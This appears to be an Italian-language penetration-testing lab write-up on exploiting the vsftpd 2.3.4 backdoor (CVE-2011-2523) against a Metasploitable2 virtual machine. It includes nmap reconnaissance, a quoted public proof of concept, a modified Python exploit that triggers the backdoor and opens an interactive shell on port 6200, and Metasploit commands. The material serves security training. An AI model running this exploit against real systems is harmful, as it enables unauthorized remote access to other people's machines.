hklabcr/cve-2011-2523Guida dettagliata per lo sfruttamento manuale e automatico del backdoor di vsftpd 2.3.4 (CVE-2011-2523) con payload personalizzato di reverse shell e integrazione con Metasploit per la formazione in penetration testing.
Questi sono appunti per la creazione della metodologia di attacco in un ambiente controllato. Si parte dal presupposto che l'esercizio sia in scatola nera, quindi non conosco informazioni sul sistema vittima.
1- Scaricare le ISO necessarie sia di Metasploitable2 che di Kali o qualsiasi altra.
2- Importante: l'ambiente è configurato con VMware, quindi entrambe le macchine devono essere eseguite in questo hypervisor.
3- Il processo iniziale: eseguire un ip per verificare la connessione tra i due estremi.
4- Usare nmap -sV -Pn 192.168.253.128. Una volta effettuato il riconoscimento, troviamo molteplici porte:
21 ftp vsftpd 2.3.4
Come parte dell'addestramento, si intende attaccare ogni porta per ottenere l'accesso in molteplici modi. Iniziamo con la seguente porta. Si cercherà di realizzare una situazione di scatola nera per risolvere o simulare condizioni reali il più possibile.
Si inizia con l'utilizzo di nmap -Pn -sV 10.0.2.5.
Cerchiamo nei database pubblici e troviamo CVE-2011-2523, che è un backdoor, e cercheremo di sfruttarlo per ottenere l'accesso alla macchina vittima.
Prima di tutto bisogna capire che esiste un backdoor nello sfruttamento che verrà effettuato in questo caso particolare. Nel tentativo di trovare il modo di violare questo sistema tramite la vulnerabilità esistente, si trova informazioni su packetstorm.news. Viene presentato un POC che dimostra che è possibile sfruttarlo, ma non è del tutto funzionale, come si vede nel seguente codice:
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523
#!/usr/bin/python3
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)"
password="PASS pass"
tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
Leggendo il codice si può capire che l'intento è dimostrare che si può fare, non di creare uno script funzionale. Pertanto, per realizzare esercitazioni più realistiche, ho apportato una modifica sostanziale affinché avesse una shell inversa che permettesse un accesso più adeguato dal momento dell'esecuzione del codice. La modifica del codice ha portato al seguente risultato:
#!/usr/bin/env python3
import socket
import sys
import time
def connect_ftp(host, port=21):
try:
s = socket.socket()
s.connect((host, port))
banner = s.recv(1024).decode(errors='ignore')
print(f"[+] FTP Banner: {banner.strip()}")
# Enviar payload del backdoor
s.sendall(b'USER backdoor:)\r\n')
time.sleep(0.5)
s.sendall(b'PASS whatever\r\n')
time.sleep(0.5)
s.close()
return True
except Exception as e:
print(f"[!] Error conectando al FTP: {e}")
return False
def connect_backdoor_shell(host, port=6200):
try:
print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...")
shell = socket.socket()
shell.settimeout(3)
shell.connect((host, port))
print("[+] ¡Shell obtenida!")
while True:
cmd = input("shell> ")
if cmd.strip().lower() == "exit":
break
shell.sendall((cmd + "\n").encode())
# Lee todos los datos disponibles hasta timeout
output = b""
while True:
try:
chunk = shell.recv(4096)
if not chunk:
break
output += chunk
# Espera un poco para ver si hay más datos
time.sleep(0.1)
except socket.timeout:
break
if output:
print(output.decode(errors='ignore'))
else:
print("[!] Sin respuesta del shell.")
shell.close()
except Exception as e:
print(f"[!] Falló al conectar con la shell: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Uso: {sys.argv[0]} <IP>")
sys.exit(1)
target_ip = sys.argv[1]
if connect_ftp(target_ip):
time.sleep(1) # Da tiempo al backdoor para abrir el puerto
connect_backdoor_shell(target_ip)
else:
print("[!] No se pudo conectar o el objetivo no parece vulnerable.")
Da quanto sopra si può capire che può essere un modo elaborato manuale per affrontare questo esempio, ma si tratta di creare diverse opzioni per crescere nell'ambiente della sicurezza informatica e migliorare le abilità.
L'altro modo che si può utilizzare è usare Metasploit come segue:
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.5
run
Come si capisce, entrambi fanno esattamente la stessa cosa, solo che uno è già automatizzato e l'altro è un processo più manuale.